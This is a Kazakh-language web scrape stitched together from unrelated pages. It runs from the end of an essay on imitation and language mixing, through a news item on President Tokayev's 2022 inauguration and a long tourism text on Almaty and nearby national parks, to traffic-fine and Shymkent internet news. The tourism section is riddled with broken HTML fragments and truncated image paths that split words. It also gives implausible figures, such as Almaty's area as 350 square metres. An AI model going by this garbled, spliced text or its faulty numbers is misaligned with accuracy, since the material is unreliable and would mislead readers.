Ал «Жалығу бар, шалқу бар, іш пысу бар, Жаңа сүйгіш адамзат – көрсеқызар» немесе «Наданға арам жақсының сөзін ұқпақ» дегендей, адал еңбек, дұрыстықтан айнып, ауырдың үсті, жеңілдің астын таңдаған кержалқау, талапсыздар жөн сөзден жаңылып-жалтара бастайды, барға сенбей, жоққа сенеді, кез келген қаңсықты таңсық көреді, жылтырағанның бәрін үстіне жамап-жасқап, жапсырып бағады. Олай етпесіне, басқа істер ісі де болмайды.
Екіншіден, бір француз сауыншысы сүтті немістердің milch дейтінін есітіп, «–дендері сау ма, оның аты La lee ғой» – деген екен. Дәл осылай, қалыпты жағдайда біреудің, әсіресе әл-ауқаты өзіңнен көп төмен жұрттың біртүрлі сөздерін әспеттеп, айтпақ түгілі кем көріп, қор санау, мазақ қылу – дағдылы жайт. Мысалы, Абай сөзімен айтсақ, бір кездері қазекең «..үй төбесіне салам деп Арқадан қамыс артқан, шүлдірлеген тәжік … атқа мінсе шаршап, жаяу жүрсе демін алады, ноғай дегенше ноқай десеңші … Орыс ойына келгенін қылады деген … не айтса соған нанады, «ұзын құлақты» тауып бер депті» деп күлген.
Бірақ уақыт озып, заман өзгере келе сол қазақ орыстың ісіне тәнті, сөзіне іңкәр күйге түсті және бүгінде орысты ысырып қойып, аңсары ағылышынға ауып отыр, ал ертең, бүрсүгүні қалай боларын бір құдай біледі. Яғни белді, беделді жұрттың қылығын қайталап, сөзін айтқыштаудың аржағында оны өзінен жоғары санау, оған мойынсұну, ұқсап-бағу құлқы жатады.
Әрине, аталған екі жай да адамның азғындауының белгісі және оның өзі ол өмір сүріп отырған қоғамның, жүйенің азуынан болады. Айталық, кезінде орыс басынан өткен еуропашылдық та, кеше-бүгінгі қазақ басындағы орысшыл-батысшылдық та қоғамның кемдігінен, елдің азғындығынан бастау алып, солармен тұспа-тұс келді және келіп отыр.
Ал елікпелі тіл шұбарлығы мұнан ары асқынып, еріктен тыс тіл шұбарлығының тууына, орнығуына негіз болуы мүмкін.
— жалғасы бар —
Кілттік сөздер:
еліктеу
тіл шұбарлығы
Ыспандияр Ақайұлы
Алдыңғы мақала
«Өлең ‒ сөздің патшасы» емес, басқасы
Келесі мақала
Қай тіл мықты? Қазақша-орысша-аңғылша қаратпа-кесте
ПІКІР ҚАЛДЫРУ Пікірден ба старту
Сіздің электронды поштаңыз жарияланбайды. Қатарды міндетті түрде толтырыңыз*
Жоба жыры:
Жобаны жасаушы және меншік ійесі: тіл-әдебиет ғылымының доқтыры Ыспандияр Ақайұлы, қысқа аты – Ыспан.
Сайт материалын көшіріп басу үшін міндетті түрде түпнұсқасына гиперсілтеме жасау қажет. Автор пікірі сайт көзқарасын білдірмейді. Жарнама мен хабарландыру мазмұнына оларды беруші жауапты. |
«Сайланған Қазақстан Республикасының Президенті Қасым-Жомарт Тоқаевтың ант беру күні 2022 жылғы 26 қараша болып айқындалды», – деді ҚР Орталық сайлау комиссиясының отырысында комиссия төрағасы Нұрлан Әбдіров.
Айта кетейік, 20 қарашада елімізде кезектен тыс президент сайлау өтті. Барлық өңірде 10 033 учаске жұмыс істеді. Ал шет мемлекеттердегі Қазақстан өкілдіктері жанында 68 учаске құрылған.
Еліміздегі бүкіл сайлаушылардың 69 пайызы немесе 8 млн 282 мыңнан астам адам өз таңдауын жасады.
20 қарашада өткен кезектен тыс сайлау барысында Қасым-Жомарт Тоқаевқа 6 млн 456 мың 392 сайлаушы немесе олардың 81,31 пайызы дауыс берді.
Сондықтан бүгін Орталық сайлау комиссиясының отырысында халық сайлаған Қасым-Жомарт Кемелұлы Тоқаевты Қазақстан Республикасының президенті ретінде тіркеді және заңнамада белгіленген тәртіппен сайланған Мемлекет басшысына тиісті куәлік тапсырылатын болады. |
А tories/01/11111111111111111111.jpg» width=»235″ height=»147″ />сқақ Тянь-Шань тауы жотасының көкжасыл бауырайынан орын тепкен қаланы «қала-бақ» деп атайды. Қала маңының табиғаты да әсем: мен мұңдалаған, алып тау шыңдары, асау өзендер, түрлі жұмбақ үңгірлер, бірегей реликті шоқ тоғайлар, бәрі де қаладан бірнеше шақырымда ғана жатыр.Бұл жер тарихта Жетісу – «жеті өзен елі» атымен белгілі, еліміздің ең бай және көрікті аумақтарының бірі.
tom: 0pt; background: white;» class=»MsoNormal»>Алматы туризмінің ерекшелігі, саяхатшы бір күннің ішінде бес климаттық аймақтың куәсі бола алады – ыстық шөлді жерден бастап, мәңгілік қарға дейінгі жолдан өтеді. Бұл өлкенің көрікті табиғат кешені туризмнің түр-түрінің гүлденуіне мүмкіндік жасайды.
tom: 0pt; background: white;» class=»MsoNormal»>Алматы Қазақстанның табиғаты сұлу тау қойнауында, Орта Азияның климаттық жағдайы ең қолайлы жерлерінің бірінде орналасқан. Тап-таза мөлдір тау суы қалаға, жасыл желектерге нәр беріп, ауаны тазартады.
tom: 0pt; background: white;» class=»MsoNormal»>Мұнда тамашалап көретін, Хан Тәңірі шыңы мен Шымбұлақтың қар басқан жолдарынан Ұлы Жібек жолы, Әнші құмдар маршруттарына дейінгі, бірегей жерлер өте көптеп кездеседі.
tom: 0pt; background: white;» class=»MsoNormal»>Қала Евразия құрылығының дәл ортасында, Қазақстанның оңтүстік-шығысында, теңіз деңгейінен 700 ден 1100 м биіктіктегі, Тянь-Шань тауының етегінде орналасқан. Оның үстінен, биіктігі жағынан Қазбек, Монблан шыңдарынан кем түспейтін, Талғар (5017м), Нұрсултан (4376м), Үлкен Алматы (3684м) шыңдары мен мұңдалап алыстан көрінеді.
tom: 0pt; background: white;» class=»MsoNormal»>Алматының климаты шұғыл континентальды, жыл бойы ғана емес, тәулік бойы да температураның ауытқып отыруы жиі байқалады. Халқының саны — 1 млн. 500 мың, жер көлемі — 350 кв.м, экономикалық белсенді халқының саны — 763 мың адам.
tom: 0pt; background: white;» class=»MsoNormal»>Алматы көк желекпен көмкерілген. Оның 10 000 гектар аумағын саябақтар мен шоқ тоғайлар, гүл бағзалар және бақшалар алады. Орталық көшелері мен даңғылдары, арықтар мен фонтандары ерекше үйлесімді.Төмен қарай жарыса ағып жатқан, үш тау өзендері – Есентай, Үлкен және Кіші Алматы жоғарыдан төменге, оңтүстіктен солтүстікке қарай созылып жатыр.
tom: 0pt; background: white;» class=»MsoNormal»>Қала кешке және түнде, қараңғылық пен түрлі түсті жарқ-жұрқ еткен сары, ақ, қызғылт моншақ-шамдар ұшқындары шағылып, таңғаларлық сұлу кейіпке енеді. Витриналар, кафе, мейрамханалар мен ойын-сауық орталықтарының оттары таң атқанша сөнбейді.
tom: 0pt; background: white;» class=»MsoNormal»>Алматы – Іле Алатауы баурайында алқызыл гүлге бөленген, Орта Азияның ең әсем қалаларының бірі ретінде мойындалған. Алматылықтар өз қаласының әлемдегі ең сұлу қала екендігін мақтан етеді.
tom: 0pt; background: white;» class=»MsoNormal» align=»center»>Алматы облысы
tom: 0pt; background: white;» class=»MsoNormal» align=»center»>Көлсай көлдері» мемлекеттік ұлттық табиғи паркі
tom: 0pt; background: white;» class=»MsoNormal»> tories/2222222222222222222.jpg» width=»277″ height=»163″ />«Көлсай көлдері» мемлекеттік ұлттық табиғи паркі мемлекеттік мекемесі ҚР Үкіметінің 2007 жыл 7-ақпандағы №88 қаулысымен құрылды. Ұлттық парк аумағы біркелкі массивтен құрылған, Алматы облысы Талғар және Райымбек аудандарының әкімшілік аумағында орналасқан.
tom: 0pt; background: white;» class=»MsoNormal»>Солтүстіктен оңтүстікке 23 шақырымға, батыстан шығысқа 98 шақырымға созылып жатыр. Парк аумағы 161045 га.
tom: 0pt; background: white;» class=»MsoNormal»>Мекеменің негізгі міндеттері:
tom: 0pt; background: white;» class=»MsoNormal»>Мемлекеттік табиғи парк қорының биологиялық сан алуандығын, ерекше экологиялық, рекреациялық және ғылыми құндылығы бар бірегей табиғи және тарихи мәдени кешендері мен обьектілерін сақтау, ғылыми зерттеулер мен бақылауды ұйымдастыруды жүргізу. Экологиялық ағарту жұмыстарын, реттелмелі туризмді ұйымдастыру және жүргізу;
tom: 0pt; background: white;» class=»MsoNormal»>— мемлекеттік табиғи-қорық қорын қорғау;
tom: 0pt; background: white;» class=»MsoNormal»>-ғылыми зерттеулермен бақылау;
tom: 0pt; background: white;» class=»MsoNormal»>-«Табиғат жылнамасын» жүргізу;
tom: 0pt; background: white;» class=»MsoNormal»>-табиғат құбылыстарымен табиғат кешендерінің жағдайына мониторинг жүргізу;
tom: 0pt; background: white;» class=»MsoNormal»>-экологиялық ағарту жұмыстарын жүргізу;
tom: 0pt; background: white;» class=»MsoNormal»>-экологиялық экскурсиялық және танымдық туризмді дамыту;
tom: 0pt; background: white;» class=»MsoNormal»>— жануарлар санын алу және санын реттеу;
tom: 0pt; background: white;» class=»MsoNormal»>— жануарлар мен құстардың өсіп өнуіне, еркін жүруіне ықпал ету.
tom: 0pt; background: white;» class=»MsoNormal»>Ұлттық парктің табиғат жағдайы:
tom: 0pt; background: white;» class=»MsoNormal»>Парк аумағында теңіз деңгейінен 1800 -3500 метр жоғары өсетін өсімдіктер мен жануарлар, керемет өзендері мен көлдері, қырлы ландшафтары кездеседі. Әлі де болса, адамданың аяғы тимеген, шаруашылық тіршілігі жүргізілмеген, ерекше табиғи орта кездеседі. Олардың ішінде аса құнды табиғи колоритімен тартатын Көлсай, Қайыңды, Саты, Күрметі, Құдырғы, Кіші өрікті, Үлкен өрікті, т.б. барлығы үлкенді-кішілі 20—дай өзен, Солтүстік Тянь-Шань тауының Күнгей Алатау сілемдеріндегі Шелек өзеніне құяды.
tom: 0pt; background: white;» class=»MsoNormal»>«Солтүстік Тянь-Шань маржандары» атанған Күнгей Алатауы қойнауында Көлсай, Қайыңды көлдері орналасқан. Бұл көлдердің пайда болу тарихы шамамен 1887-1911-1919-жылдары. Көлдер тектоникалық жағдайлардың әсерінен пайда болған.
tom: 0pt; background: white;» class=»MsoNormal»>Көлсай өзенінің ағымында үш көл орналасқан:
tom: 0pt; background: white;» class=»MsoNormal»>-Жоғарғы-үшінші көл теңіз деңгейінен 2650 метр жоғары, ұзындығы 580 метр, ені 190 метр, аумағы 180 шаршы метр болса, тереңдігі 24 метр.
tom: 0pt; background: white;» class=»MsoNormal»>-Ортаңғы көл теңіз деңгейінен 2280 метр биіктікте орналасқан, ұзындығы 1180 метр, орташа ені 298 метр, аумағы 343 шаршы метр, тереңдігі 27-30 метр.
tom: 0pt; background: white;» class=»MsoNormal»>-Төменгі-бірінші көл теңіз деңгейінен 1800 метр биіктікте жатыр, ұзындығы 1520 метр, орташа ені 222 метр, аумағы 30 гектар, тереңдігі 72-75 метр болады.
tom: 0pt; background: white;» class=»MsoNormal»>Көрші сайда ертегіге ұқсас, айнадай жарқырап Қайыңды көлі жатыр, ол теңіз деңгейінен 1867 метр биіктікте. 1919-жылы жер сілкінісінің әсерінен ағып түскен тау жыныстары өзенді бөгеу салдарынан қарағайлы сай су астында қалып өзінше бір әсерлі көрініс беріп тұр.
tom: 0pt; background: white;» class=»MsoNormal»>«Көлсай көлдері» МҰТП өсімдіктер әлемі бойынша, биологиялық көп түрлілігімен ерекшелінеді, мұнда 704 түрден астам өсімдіктер кездеседі.
tom: 0pt; background: white;» class=»MsoNormal»>Эмдемиктер тобына 29 түрлі өсімдік кіреді. Оның ішінде ҚР «Қызыл кітабына» енген 20 шақты түрі кездеседі, олар Қаршыл шүйгін шөп, Ярмоленко қызыл қайыңы, Альберт құртқа шашы, Пістем жуасы, Заравшан аршасы, Қатпарлы шұбар шөп, Алматы кекіресі, Витрок рауғашы, Алатау бәйшешегі, Шолпаншаш сүмбілі, Адонис, Тянь-Шань адонисі,Кауфман ирекжапырағы, т.б.
tom: 0pt; background: white;» class=»MsoNormal»>Сонымен қатар жеміс беретін жабайы өсімдіктерге бай, олар: шетен, бөріқарақат, құлпынай, қара барбарис, долана, шырғанақ, итмұрын, қой бүлдірген, құлпынай, таңғурай және дәрілік өсімдіктер: шәйқурай, жұпаргүл, киікоты, уғарғасын, чабрец, жалбыз, мыңжапырақ, семізот, андыз, қара-андыз, тамыры тәтті мия, алтынтамыр, қылша, тамырдәрі, усасыр (папоротник), мақсыр маралтамыры т.б. Күрделі гүлдердің 32 түрі (7%), бозшөптер 25 түрі(9,2%), шытыргүлдер 17 түрі (6,1), шатыргүлдер 15 түрі (5,5%), бұршақтылар 13түрі (4,8), ерінтүстестер 13 түрі (4,8) құрайды.
tom: 0pt; background: white;» class=»MsoNormal»>Парктің көркі Тянь-Шань шыршасы.
tom: 0pt; background: white;» class=»MsoNormal»>Тянь-Шань шыршалары жайлы, алғашқы жазбалар өткен ғасырдың 1-жартысында белгілі болды. 1840 жылы бұл шыршаларды А.Шренко Жоңғар Алатауынан тапқан, соның құрметіне шыршаны Шренка деп те атайды. Тянь-Шаньға алғаш келген географ П.П. Семенов-Тянь-Шанский еді сондықтанда болар қазақтың қызқарағайының Тянь-Шань аталуы.
tom: 0pt; background: white;» class=»MsoNormal»>Тянь-Шань қарағайы, басқа қарағайларға қарағанда бойшаң, желегі цилиндр тектес, желбір көйлек киген қызға ұқсас болғандықтан халқымыз Қызқарағай деп те атайды.
tom: 0pt; background: white;» class=»MsoNormal»>Жер бетінде 40-қа жуық шырша өссе соның бәрі Солтүстік жарты шарда өседі екен. Соның ішіндегі көне дәуірден келе жатқаны таулы жердің қарағайлары екенін бүгінде ғалымдар дәлелдеп отыр.
tom: 0pt; background: white;» class=»MsoNormal»>Діңінің түзулігі, бұтағының жіңішкелігімен Тянь-Шань қарағайы таптырмайтын құрылыстық тауар. Қарағай діңін халық шаруашылығына қолданады және музыкалық (домбыра, скрипка, альт және контрабас) аспаптарын жасайды, мебель және қағаз өндірісіне пайдаланады.
tom: 0pt; background: white;» class=»MsoNormal»>Топырақ қабатын қорғаумен қатар топырақ қабатын ылғалдандыру қабілеті де жоғары.
tom: 0pt; background: white;» class=»MsoNormal»>Қазақтың қызқарағайы бес жүз жыл жасайтындықтан тауымызға әсем көрік беріп тұр.Үш жылда бір мәрте тұқым береді. Тұқымынан мәдени жолмен орман питомнигінде көшет өсіріліп 3-4 жылдығында орманды молықтыру үшін тау беткейлеріде алдын ала жер дайындап,отырғызылады.
tom: 0pt; background: white;» class=»MsoNormal»>Мәдени жолмен өсірілген көшеттер бойы 0,5-5,0 метр болғанда ауыл, қала орталықтарын көгалдандыру үшін қыс айларында топырақ тоңазыған кезде тамырын топырағымен қазып алынып көшіріледі.
tom: 0pt; background: white;» class=»MsoNormal»>Әр өсімдіктің өсу физиологиясы әртүрлі болғандықтан, мамыр айынан қар жауғанға дейін тау беткейі кілем төсеп қойғандай, құлпырып тұрады.
tom: 0pt; background: white;» class=»MsoNormal»>Шың басында өсетін аты әлемге әйгілі Еңлік гүл (Эдельвейс Федченко) Тянь-Шань және Жоңғар Алатауларында теңіз деңгейінен 1800-2000 метр биіктікте өседі. Қазақ жерінде оның екі түрі бар. Латынша атауы грек сөзінен аударғанда «леон» (арыстан) «поду» (аяқ) деген сөздерді құрайды. Орысша Эдельвейс аталуы неміс сөзінен «эдель» (мәртебелі) «вайс» (ақүлпек) деген мағына береді.
tom: 0pt; background: white;» class=»MsoNormal»>Бұл гүл Европа аймағында Альпі және Карпат тауларының шыңдарында өсетіндіктен, әркімнің қолы жете бермегендіктен осылай аталса керек. Осы елдер соның ішінде Австрия және Швейцария рыцарлары Еңлік гүлін бақыт және махаббат символы санап, сүйіктілеріне жанкештілікпен шыңға шығып, құз-жартастың басынан алып келіп сыйға тартқан екен деген аңыздар бар.
tom: 0pt; background: white;» class=»MsoNormal»>Еңлік гүлі маусым-шілде айларында гүлдеп, шілде –тамыз айларында жеміс береді. Жемісі желдің әсерімен жан-жаққа таралады, көпжылдық өсімдік, күрделі гүлдер семьясына жатады. Кептірілген Еңлік гүлі көп жылға сақталады және өңін жоғалтпайды. Алғаш көрген адам таңқалатыны рас. Константин Паустовскийдің өзі таңқалып отырып: «Бұл өсімдікті гүл деп айту қиын, мойнына ақ үлпек оранып, мұздың суығынан қорғанған кішкентай жұлдыз дерсің»— деген екен.
tom: 0pt; background: white;» class=»MsoNormal»>Сирек кездесетін, жоғалып бара жатқан, жеке типті туыстық дерлік эндемик түрдің бірі Кауфман ирекжапырағы (jkonnikowia kaufmfnnifna).
tom: 0pt; background: white;» class=»MsoNormal»>Үштік дәуірдің шөлдік өсімдіктерінің қалдығы болып есептеледі. Солтүстік Тянь -Шань тауларында (Іле, Күнгей алатауы мен Кетпентау) кездеседі. Қазақстаннан тыс Батыс Қытайда (Іле өзені) таралған.
tom: 0pt; background: white;» class=»MsoNormal»>Популяциялары әдетте оқшау, саны аз. Керемет сәндік-гүлдік өсімдік. Құрғақ тасты жерлерді көгалдандыру үшін қолайлы, тұқымы арқылы көбейеді. Гүлдеуі ұзақ, сәндігін құрғақ күйінде де сақтайды.
tom: 0pt; background: white;» class=»MsoNormal»>Бұл гүлдерді «Көлсай көлдері» МҰТП өңірінде Талды сайынан 30-орамнан 2009-жыл 20-тамызда қорық және ботаника институты қызметкерлері тапқан. Ендігі уақытта парк аумағының басқа да жерлерінде өсу ортасын анықталуда.
tom: 0pt; background: white;» class=»MsoNormal»>«Көлсай көлдері» МҰТП мемлекеттік мекемесі аумағы ақ-құстарға және қос мекенділермен омыртқасыз жәндіктерге аса бай. Атап айтқанда, сүт қоректілерден 19 түрі бар, мысалы: Тянь-Шань арқары, Тянь-Шань қоңыр аюы, мәртебелі бұғы, қабан, қар барысы, түркістан сілеусіні, қасқыр т.б.
tom: 0pt; background: white;» class=»MsoNormal»>Бұл аумақта омыртқалы жануарлардың 226-дай түрі немесе Қазақстан бойынша жануарлар дүниесінің 22% мекен етеді. Осылардың ішінен Қазақстанның Қызыл кітабына сүтқоректілердің 6 түрі және құстардың 13 түрі енгізілген. Бұл Қызыл кітапқа енген аң-құстың 17% құрайды.
tom: 0pt; background: white;» class=»MsoNormal»>Сүт қоректілердің 29, құстардың 197 түрі (орманды мекен ететін ұялайтын 82 түрі), бауырымен жорғалаушылардың 2 түрі, қос мекенділердің 2 түрі бар. Сүт қоректілер ретінде кеміргіштер, қол қанаттылар, аша тұяқтылар көрсетілген. Ихтиофауналар екі түрде көрсетілген. Энтомофаундарға 735 насекомдар түрі кіреді.Ұлттық парк аумағында көшуші құстардың 33 түрі кездеседі. Мысалы: бүркіт, қара дегелек, барылдауық үйрек, үлкен крохаль, қаршыға, қырғи, бақалтақ қыран, сақалды қыран, құмай, тау маңғысы, бұлыңғыр балшықшы, құлақты жапалақ және т.б.
tom: 5pt; background: white;» class=»MsoNormal»>Ғылыми ізестіру жұмыстары жалғастырылуда.
tom: 0pt; background: white;» class=»MsoNormal» align=»center»>«Жоңғар Алатауы» мемлекеттік ұлттық табиғи паркі
tom: 0pt; background: white;» class=»MsoNormal»> Табиғи tories/01/333333333333333.png» width=»232″ height=»144″ />парк Жетысу Алатауы солтүстік жотасының макро етегіне қарай орналасқан. Парктің жалпы ауданы 356022 га.
tom: 0pt; background: white;» class=»MsoNormal»>«Жоңғар Алатауы» МҰТП-нің құрамына Лепсі, Алакөл және Сарқан филиалдары кіреді. Табиғатты 140 орманшы-инспекторлары үзіліссіз бақылайды.
tom: 0pt; background: white;» class=»MsoNormal»>«Жоңғар Алатауы» МҰТП таулы аймақтардың экологиялық, тарихи және эстетикалық ерекше бағалы табиғи қалпын сақтап қалу мақсатында құрылды.
tom: 0pt; background: white;» class=»MsoNormal»>Бұл жерде 2168 түрге, 622 текке, 112 тұқымға кіретін Жетысу Алатауында өсетін 75 пайыз түрлі өсімдіктер, эндемик болып табылатын тек қана Жетысу Алатауына тән және басқа ешбір жерде кездеспейтін 76 түрлі өсімдік анықталған.
tom: 0pt; background: white;» class=»MsoNormal»>Қазақстан Республикасының Қызыл кітабына енген өсімдіктер мен жануарлар:
tom: 0pt; background: white;» class=»MsoNormal»>Өсімдіктің белгіленген 12 түрі – ақшыл секпілгүл, Тянь-шань жанаргүлі, Алтай гимноспермиумі, Семенов айдаршөбі, Сиверс алмасы, Құсмұрын таспасы, Жоңғар шерменгүлі, Жоңғар көкгүлі, киікшөп, бөденешөп, қызылтіл зиягүл, қатпарлы шұбаршөп, мақсыр марал тамыры.
tom: 0pt; background: white;» class=»MsoNormal»>Суда және құрлықта өсетін 2 түрі – қызылаяқ бақа, Даната құрбақасы.
tom: 0pt; background: white;» class=»MsoNormal»>6 түрге жуық ұя салатын құстар – қара дегелек, бақалтақ қыран, бүркіт, сақалтай, ителгі, үкі.
tom: 0pt; background: white;» class=»MsoNormal»>Сүтқоректілердің 6 түрі – Тянь-шань қоныр аюы, тас сусары, Түркістан сілеусіні, барыс, Тянь-шань арқары, сабаншы.
tom: 0pt; background: white;» class=»MsoNormal»>Ұлттық паркте археологиялық тарихи және мәдени ескерткіштер бар: Қаракерей Қабанбай батырдың ескерткіші, Жетысудың ежелгі көшпелі мәдениетіне жататын қабірлер, қорғандар, тасқа қашалған бейнелер. Орыс қала құрылысын жоспарлаудың ерекшеліктерін алған Қазақстанның Ресейге қосылуының аяқталуы кезеңіндегі архитектуралық ескерткіштер.
tom: 5pt; background: white;» class=»MsoNormal»>Жақсы сақталған табиғи қорықтардың бай және сан-алуандығы, аумақтың теңдессіз табиғи жағдайы – қолайлы климаты және таулы ландшафтың елеулі эстетикалық тартылымдылығы – альпенизм, рафтинг, экологиялық және этнографиялық турлар, әртүрлі топтармен, келушілермен экскурсия жүргізу туризмнің дамуына жағдай жасайды.
tom: 0pt; background: white;» class=»MsoNormal» align=»center»>«ІЛЕ-АЛАТАУ» мемлекеттік ұлттық, табиғи паркі
tom: 0pt; background: white;» class=»MsoNormal»> tories/44444444444444444.jpg» width=»226″ height=»152″ /> Күмістей жарқыраған қарлы шыңдары, жайқалған көк майса шабындығы, баурайлап аққан мөлдір өзендері мен асқар биік таулары, жұмсақ ауа райы — ертеде «жаратушының шапағаты тиген» деп қабылданған жұмак жер. Іле-Алатау мемлекеттік ұлттык табиғи napкі — Қазақстан Республикасындағы ең ipi шаһар және оңтүстік астана — Алматы қаласына жақын орналаскан.
Парк Солтүстік Тянь Шань физика-географиялық провинциясының құрамына кipeтін , Іле Алатауы жотасының, солтүстік беткейінде орналасқан және 199,702 гектардай жерді алып жатыр. Аумаққа түрлі ландшафтты, тік зоналық. рельеф тән. Іле Алатауы мемлекеттік ұлттық табиғи паркі өзінің қайталанбас көркемдігімен, мәңгі мұз басқан шыңдары, биік таулары, көк-жасыл ормандары,Альпі шалғындарымен ерекшеленеді.Ұшы-қиыры жоқ күнге шомылған далалы алқап тау етегін әсемдей түседі. Биік таулы белдеу теңіз деңгейінен 3000 метрден аса биіктікте жатыр. Жота баурайла-рын мұздықтар, созылған мореналар мен алқаптар алған. Мұздықтар белдеуінен төмен таусыншақты кардың, трогалық алқаптардың сатылары және де мәнгі тоңның, «қатпар әйнектері» айқын көрінеді
Орташа тау бедері теңіз деңгейінен 1700 м-ден 3000 м-ге дейін биіктікте . Оның тар аңғарлары созылған шатқалдар мен құламалы баурайлармен айнала қоршалған. Бедері опырылу мен тастың құлауын, топырақ шөгіндісін туғызатын, өте қарқынды желмен мүжілумен ерекшеленеді. Су айырықтарының бедерлері біршама тeгic келеді.
Аласа тау ландшафты — 1100-1700 м биіктік ауқымында. Бұл кең,біртегіс су айырықтары бар телімдер. Негізінен аумақ жер сілкінісі мен селдің әсерінен жаңа таудың пайда болуына бейім, қар көшкіндерінің түсу ықтималдығы да басым. Ауа райы — кеш көктем-жазғы, жауын-шашыны мол, қоңыржай жылы.
tom: 0pt; background: white;» class=»MsoNormal»>Абсолюттік биіктіктің өcyiнe қарай температура едәуір тұрақты төмендейді және күн радиациясы қарқыны артады, жылдық және мезгілдік атмосфералық жауын-шашын көбейеді. Күн шапағының, ұзақтығы жылына 2000 сағаттан асады.
Төменгі тау аймағындағы жаз ұзак және ыстық. Жоғарылаған сайын жаз қысқа және салқын.
Жауын-шашынның түсу мөлшері биіктеген сайын көбейеді. Парк аумағында көлемдері әртүрлі көлдер көп. Шығу тегіне қарай олар мұздық мореналык, мореналык,бөген және опырылу-тектоникалық,болып бөлінеді.Ipілepiнe опырылу-тектоникалық; кұбылыстан пайда болған– Eciк және ҮлкенАлматы көлдері жатады.
Табиғи парк аумағында республикалық маңыздылығы бар 15 табиғат ескерткіштері бар. Олардың арасынан ең тартымдысы — Шын түрген мүкті шырша орманын атап кеткен жөн. Туризм тарапынан қарағанда тартымды басқа нысандар жетерліктей, оларға термалдық көздер, тас глетчерлер, бірегей тау көлдері, кұлама сулар, мұздык формалар.
Парктің тарихи-мәдени мұра ескерткіштерінің, арасында археологиялық объектілер петроглифтер, ғибадат жасайтын нысандар жиі кездеседі.
Экологиялық туризмнің ландшафттан басқа нeгізін аса бай жануар және өсімдік әлемі құрайды. Парк аумағында 1500 –ден астам жануарлар тypi бар. Мұнда ХТҚҚ Қызыл Кітабына енгізілген барыс, және Қазақстан Республикасының Қызыл Кітабына енгізілген жануарлар: Тянь-Шань қоңыр аюы, түркістандық cілеусін , тас сусар, жайра мекендейді. Марал, елік, қабан, ciбip тау текесі, борсық және басқалары ең көп таралған аймақ.
Қорғалатын аумақта бауырымен жорғалаушылардың ceгіз түpi, қосмекенділердің төрт тypi, балықтардың 4 түpi, 200 түрлі құстар мекендейді, олардың 11 Қазақстан Республикасының Қызыл кітабына және Халықаралық Қызыл Кітапқа жазылған: бүркіт, сақалтай, ителгі , шахин, құмай, үкі, тырбық , көк құс, қара дегелек, орақтұмсық.
Ұлттық парк аумағында шамамен 1000 түрлі жоғары сатылы өсімдіктер өседі. Олардың арасында пайдалы қасиеті бар көптеген дәрілік , балды, әсемдік өсімдіктер түрлері бар. Мұнда сондай-ақ өте сирек кездесетін бірегей есімдіктер де баршылық: таралу аймағы Іле-Алатау аумағында ғана шектелген таусыншақ, жергілікті Мушкетов түйе сіңірі, Островский қызғалдағы, Кауфман иконниковия, Семенов айдаршасы және басқалары.
Оңтүстік және оңтүстік — батыс баурайының тау етегінде және төменгі бөлігінде далалық өсімдік , ал солтүстік баурайында бұталы өсімдіктер кең таралған. Орта таудағы ауа райы орманды-бұталы — шалғынды белдеуде қылқан жапырақты, жапырақты ормандар, бұталар мен әр түрлі шөптердің таралуына колайлы. Бұл аймақ бүгінде қорғауды қажет ететін, жабайы жемісті тоғайлар, оның ішінде Сиверс алмасы, Недзвецкии алмасы, жабайы өрік ағаштарының өcyiнe қолайлы. Солтүстік Тянь Шанның жергілікті түpi Шренк шыршасы 1500 м-ден 3000 м-ге дейін аралықтағы биіктікте кездеседі. Одан жоғары альпілік шалғындар мен шатқалды мұздық белдеу басталады.
tom: 0pt; background: white;» class=»MsoNormal» align=»center»>Талдықорған
Талдықорғ tories/01/55555555555555555.jpg» width=»228″ height=»161″ />ан — Алматы облысының орталығы. Тұрғындар саны 129,6 мың адамды құрайды. Қазақстан Республикасының оңтүстік-шығысында Жетісу Алатауының батыс жағында орналасқан. Орталық Азия, Ресей мемлекеттеріне шығуға мүмкіндік беретін әуежай, теміржол станциясы бар. Жалпы мемлекеттік және облыстық маңызы бар автомобиль жолдары тораптарының жүйесі арқасында қала Қазақстанның басқа да қалаларымен, Орталық Азиямен, Ресеймен және Қытаймен байланысып жатыр.
Білім, мәдениет, туризм орталығы және халықаралық, өңіраралық өндірістік-қызмет көрсету орталығы ретінде аса тартымды қала. Қалада 4 жоғарғы оқу орны, 12 орта кәсіби білім мекемелері, 25 жалпы білім беру мекемелері жұмыс жасайды. Сондай-ақ,драма театр, филармония, мұражайлар, мәдениет және демалыс парктері, кітапханалар мен кинотеатрлар, стадиондар, спорт кешені, аквапарк және ипподром бар.
Қаланың құрылыс индустриясын дамыту, балаларға арналған тағамдар, электр сорғылары, сүт өнімін, керамика-граниттан жасалған плиталар, жұмыртқа және құс етін өндіру әлеуеті бар. |
Бір аптаның ішінде 12 771 құқықбұзушылық тіркеліп, 11573-і бойынша жалпы сомасы 71 млн теңгеге айыппұл салынды.
Астана қаласының ІІД Әкімшілік полиция басқармасы бір аптаның ішінде 11573 құқық бұзушылықты анықталып, жүргізшілерге 71 млн теңгеден астам сомаға айыппұл салынды, деп хабарлайды Елорда Инфо тілшісі.
Бір аптаның ішінде 12 771 құқықбұзушылық тіркеліп, 11573-і бойынша жалпы сомасы 71 млн теңгеге айыппұл салынды. Оның ішінде 49 млн 653 мың теңгесі төленді. Борышкерлердің 70 пайызының айыппұлы өндірілді, күн сайын 2-2,5 мың адам айыппұлы бары туралы хабарлама алады.
«Сергек» бағдарламалық кешені бізге жыл басынан бері жол-көлік апатын 20% төмендетуге мүмкіндік берді. Мысалы, өткен жылы осы уақытқа дейін 21 адам көлік апатынан көз жұмса, биыл 13 адам», - деді Астана қаласының ІІД Әкімшілік полициясының бөлім басшысы Дархан Ташмұхамбетов.
Оның айуынша, инспекторларда белгілі бір құқықбұзушылық туралы хабарлайтын планшеттер мен арнайы принтерлер бар.
«Инспекторда планшет бар, егер жүргізуші «Сергек» бейнебақылау камерасына түсетін болса, базадан тексеріледі. Төленбеген айыппұлы бар немесе жоғы анықталған соң, ақпарат инспекторға беріледі», - деді ол. |
Шымкент қаласының әкімі М.Әйтенов қаланы сапалы интернетпен қамту мәселелері бойынша «Қазақтелеком», «ТрансТелеКом» АҚ директорлары және ұялы байланыс операторларымен кезекті онлайн жиналыс өткізді.
Онда Цифрландыру басқармасы басшысының міндетін атқарушы Д.Әлібеков қаланы сапалы интернетпен қамтамасыз етудің 2020-2021 жылдарға арналған стратегиялық жоспарымен таныстырды.
